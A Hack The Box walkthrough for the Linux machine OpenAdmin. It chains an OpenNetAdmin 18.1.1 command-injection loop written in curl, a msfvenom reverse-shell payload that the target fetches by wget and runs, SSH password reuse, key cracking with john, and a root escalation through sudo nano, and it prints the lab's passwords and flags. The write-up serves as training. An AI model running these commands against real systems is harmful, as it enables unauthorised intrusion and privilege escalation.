HTB - Windows OpenAdmin

HTB - Linux OpenAdmin

A box which start by using a CVE on the ONA service. Then credentials in the service configuration file we could use to login with the first user. A locally bind web service allowed us to get the second user private key if we provide the good password for a given hash. This hash could be found on crackstation. We then gain root privileges by abusing sudo on the nano command, one of the GTFO bins.

nobody - www-data

$ nmap -sS -sV -sC -p- -T4 -vvv -oN nmap.txt

22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCcVHOWV8MC41kgTdwiBIBmUrM8vGHUM2Q7+a0LCl9jfH3bIpmuWnzwev97wpc8pRHPuKfKm0c3iHGII+cKSsVgzVtJfQdQ0j/GyDcBQ9s1VGHiYIjbpX30eM2P2N5g2hy9ZWsF36WMoo5Fr+mPNycf6Mf0QOODMVqbmE3VVZE1VlX3pNW4ZkMIpDSUR89JhH+PHz/miZ1OhBdSoNWYJIuWyn8DWLCGBQ7THxxYOfN1bwhfYRCRTv46tiayuF2NNKWaDqDq/DXZxSYjwpSVelFV+vybL6nU0f28PzpQsmvPab4PtMUb0epaj4ZFcB1VVITVCdBsiu4SpZDdElxkuQJz
|   256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBHqbD5jGewKxd8heN452cfS5LS/VdUroTScThdV8IiZdTxgSaXN1Qga4audhlYIGSyDdTEL8x2tPAFPpvipRrLE=
|   256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBcV0sVI0yWfjKsl7++B9FGfOVeWAIWZ4YGEMROPxxk4
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_  Supported Methods: OPTIONS HEAD GET POST
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

we see two open ports 22 as usual (it’s often used later after getting more information about the box, hardly useful at the beginning ) and 80. It lets us think about getting an entry point through the web server.

The first thing I do when I see a web server is mapping the available directory with dirb or dirsearch. This box was especially shitty because it hosted 5 website with name not present it the same wordlist. I had to use these wordlist

  • seclists-git/Discovery/Web-Content/common.txt

  • seclists-git/Discovery/Web-Content/big.txt

  • directory-list-2.3-medium.txt

  • fuzzdb/wuyun/baopo dict/superdict/wordlist.txt

we get 5 websites :


The first 4 websites seem to be rabbit hole as it’s only html template without backend. But ona is way more interesting. But before continuing, I spent too much time fuzzing the directories before having ona thanks to the last wordlist.

A good idea when accessing a new website it’s go gather all links or resources within it HTML body. There is tool like hakrawler to do it but I preferred used mine :

$ python2 ./ --url --nofuzz --fields "url" > /tmp/a ; gf urls /tmp/a

as I wrote this tool when I was a bit younger the output is shitty and I needed to use the gf command (wrapper around grep from tomnomnom) to get all the urls.

As you see there was a link to /ona I missed so far ..

Other information we had were :

  • Apache 2.4.29

  • Ubuntu

Now we have /ona let’s give it a look

The version used is 18.1.1, maybe there are some CVE about.

$ searchsploit opennetadmin
----------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                   |  Path
                                                                 | (/usr/share/exploitdb/)
----------------------------------------------------------------- ----------------------------------------
OpenNetAdmin 13.03.01 - Remote Code Execution                    | exploits/php/webapps/26682.txt
OpenNetAdmin 18.1.1 - Remote Code Execution                      | exploits/php/webapps/
----------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result

Right in the feels, a nice RCE for us for the exact version! Lets a bit modify the poc by adding ${cmd} 2> /tmp/a; cat /tmp/a in order to have also stderr printed.


while true;do
 echo -n "$ "; read cmd
 curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd} 2> /tmp/a; cat /tmp/a ;echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
$ rlwrap ./
$ whoami

rlwrap is a wrapper which allow to use the arrow and tab to call back previous command, a better shell indeed.

www-data - user

As the shell is very rudimentary let’s go getting a better one thanks to metasploit.

$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.x.x LPORT=4444 -f elf > shell

You can quickly deploy a web server with python -m http.server and download this payload from the victim.

$ wget http://10.10.x.x:8000/shell
$ chmod 700 shell
$ ./shell

And on your remote computer

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 10.10.x.x
LHOST => 10.10.x.x
msf5 exploit(multi/handler) > run -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf5 exploit(multi/handler) >
[*] Started reverse TCP handler on 10.10.14.x:4444
msf5 exploit(multi/handler) > sessions -i

Active sessions

  Id  Name  Type                   Information                                      Connection
  --  ----  ----                   -----------                                      ----------
  1         meterpreter x64/linux  uid=33, gid=33, euid=33, egid=33 @  10.10.x.x:4444 -> (

I usually run netstat -lnptu in order to see the network services, maybe I missed some with nmap or some of them are bind locally.

Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0*               LISTEN      -        
tcp        0      0*               LISTEN      -       
tcp        0      0 *               LISTEN      -      
tcp        0      0    *               LISTEN      -       
tcp6       0      0 :::80                   :::*                    LISTEN      -      
tcp6       0      0 :::22                   :::*                    LISTEN      -    
udp        0      0 *

There is something bind on, a mysql database I guess but we do not have the credentials to connect to.

$ mysql
ERROR 1045 (28000): Access denied for user 'www-data'@'localhost' (using password: NO

Lets see the OpenNetAdmin config file, maybe this service uses this mysql database to store data.

$ cd /var/www/
$ ls -l
total 8
drwxr-xr-x 6 www-data www-data 4096 Nov 22 15:59 html
drwxrwx--- 2 jimmy    internal 4096 Nov 23 17:43 internal
lrwxrwxrwx 1 www-data www-data   12 Nov 21 16:07 ona -> /opt/ona/www

Interesting, a directory named internal but we don’t have access to, we will go back later I guess.

$ grep -irn localhost
include/adodb5/server.php:23: * http://localhost/php/server.php?select+*+from+table&nrows=10&offset=2
include/adodb5/server.php:37:$host = 'localhost'; // DSN for odbc
.htaccess.example:5:# The default setting here is to allow anyone from localhost (this computer)
local/config/        'db_host' => 'localhost',
modules/  Example: <DB_HANDLE> = db_connect('mysql','localhost','root','','somedb');

the config file seems to be /opt/ona/www/local/config/


$ona_contexts=array (
  'DEFAULT' =>
  array (
    'databases' =>
    array (
      0 =>
      array (
        'db_type' => 'mysqli',
        'db_host' => 'localhost',
        'db_login' => 'ona_sys',
        'db_passwd' => 'n1nj4W4rri0R!',
        'db_database' => 'ona_default',
        'db_debug' => false,
    'description' => 'Default data context',
    'context_color' => '#D3DBFF',

Cool, we get the db credz! We should give a look into right now. As the shell is still pretty shitty I will use the cli.

$ mysql -u ona_sys -pn1nj4W4rri0R! -e "show databases;"
mysql: [Warning] Using a password on the command line interface can be insecure.

$ mysql -u ona_sys -pn1nj4W4rri0R! -e "use ona_default;show tables"

$ mysql -u ona_sys -pn1nj4W4rri0R! -e "use ona_default;select * from users;"
id    username    password    level    ctime    atime
1    guest    098f6bcd4621d373cade4e832627b4f6    0    2020-01-08 21:07:25    2020-01-08 21:07:25
2    admin    21232f297a57a5a743894a0e4a801fc3    0    2020-01-08 18:14:09    2020-01-08 18:14:09

Two users with weak hash admin:admin and guest:test nothing useful for us as we are already www-data.

I noticed I was dumb at this moment, after looking at /etc/passwd we knew there was 2 interesting users and a ssh server.


Lets try the metasploit ssh_login module.

$ vim account.txt
joanna n1nj4W4rri0R!
jimmy n1nj4W4rri0R!

$ msf
msf5 > use auxiliary/scanner/ssh/ssh_login
msf5 auxiliary(scanner/ssh/ssh_login) > set RHOSTS
msf5 auxiliary(scanner/ssh/ssh_login) > set USERPASS_FILE account.txt
USERPASS_FILE => account.txt
msf5 auxiliary(scanner/ssh/ssh_login) > set VERBOSE true
VERBOSE => true
msf5 auxiliary(scanner/ssh/ssh_login) > run

[-] - Failed: 'joanna:n1nj4W4rri0R!'
[!] No active DB -- Credential data will not be saved!
[+] - Success: 'jimmy:n1nj4W4rri0R!' ''
[*] Command shell session 1 opened ( -> at 2020-01-08 22:35:13 +0100
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/ssh/ssh_login) > sessions -l

Active sessions

  Id  Name  Type           Information                                Connection
  --  ----  ----           -----------                                ----------
  1         shell unknown  SSH jimmy:n1nj4W4rri0R! ( -> (

Always think to password reuse with Hack The Box boxes .. So now let’s give a look to /var/www/internalbut first we should upgrade our shell to a meterpreter one.

session -u id allows us to upgrade our session to a meterpreter one.

There was nothing in the /home/jimmy folder btw

msf5 auxiliary(scanner/ssh/ssh_login) > sessions -u 2
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [2]

[!] SESSION may not be compatible with this module.
[*] Upgrading session ID: 2
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on
[*] Sending stage (985320 bytes) to
[*] Command stager progress: 100.00% (773/773 bytes)
msf5 auxiliary(scanner/ssh/ssh_login) > [*] Meterpreter session 3 opened ( -> at 2020-01-08 22:38:02 +0100

[*] Stopping exploit/multi/handler

msf5 auxiliary(scanner/ssh/ssh_login) > sessions -i 3
[*] Starting interaction with 3...

meterpreter >
meterpreter > cat /etc/apache2/sites-available/internal.conf

    ServerName internal.openadmin.htb
    DocumentRoot /var/www/internal

<IfModule mpm_itk_module>
AssignUserID joanna joanna

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined


The site is only available from localhost on port 52846, thats why we didn’t see it before.

The mpm_itk_module is very interesting, I already used it in the past to configure an Apache server to host CTF challenges. It allows us to choose which user Apache will use to run a vhost instead of www-data.

So if we found a RCE in this application we will be joanna user.

meterpreter > cat /var/www/internal/index.php
            $msg = '';

            if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {
              if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1') {
                  $_SESSION['username'] = 'jimmy';
                  header("Location: /main.php");
              } else {
                  $msg = 'Wrong username or password.';

Simple auth with sha512 hash with the jimmy user. If we log we have access to main.php lets see what we will got.

<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); };
# Open Admin Trusted
# OpenAdmin
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo "<pre>$output</pre>";
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session

Accessing this page will show us joanna’s ssh private key, let’s do it. Maybe this hash is weak so lets feed crackstation with it.

Hash Type Result
sha512 Revealed

Nice. We have at least two ways to loggin

  • curl (way to simple)

  • use port forwarding with metasploit (more cooler)

meterpreter > portfwd add -l 1111 -p 52846 -r
[*] Local TCP relay created: :1111 <->

We can now access the webservice via our browser :

The key is password protected, we will use john to try to crack it.

$ ssh2john joanna.priv > joanna_ssh.john
$ john --wordlist=/usr/share/wordlists/rockyou.txt joanna_ssh.john            
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 12 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
bloodninjas      (joanna.priv)
1g 0:00:00:01 DONE (2020-01-09 09:09) 0.5747g/s 8242Kp/s 8242Kc/s 8242KC/s  0 0 0..*7¡Vamos!
Session completed

The password for the key is bloodninjas, we can now ssh with joanna’s account.

user.txt is present in her home directory : c9b2cf07d40807e62af62660f0c81b5f

user - root

Another good habits it’s to run sudo -l to see which sudo commands are allowed for an user.

joanna@openadmin:~$ sudo -l
Matching Defaults entries for joanna on openadmin:
    env_reset, mail_badpass,

User joanna may run the following commands on openadmin:
    (ALL) NOPASSWD: /bin/nano /opt/priv

We can run /bin/nano /opt/priv, let’s see if this binary has something interesting to offer with sudo.

It runs in privileged context and may be used to access the file system, escalate or maintain access with elevated privileges if enabled on sudo.

sudo nano
reset; sh 1>&0 2>&0


Command to execute: reset; /bin/bash 1>&0 2>&0
root@openadmin:~# id                                       
uid=0(root) gid=0(root) groups=0(root)               ^X Read File
root@openadmin:~# cat /root/root.txt                 M-F New Buffer

And finally the root flag 2f907ed450b361b2c2bf4e8795d5b561

It’s a really nice box for beginners but very straight forward when doing CTF for a while. Maybe spent a bit too much time on enumeration.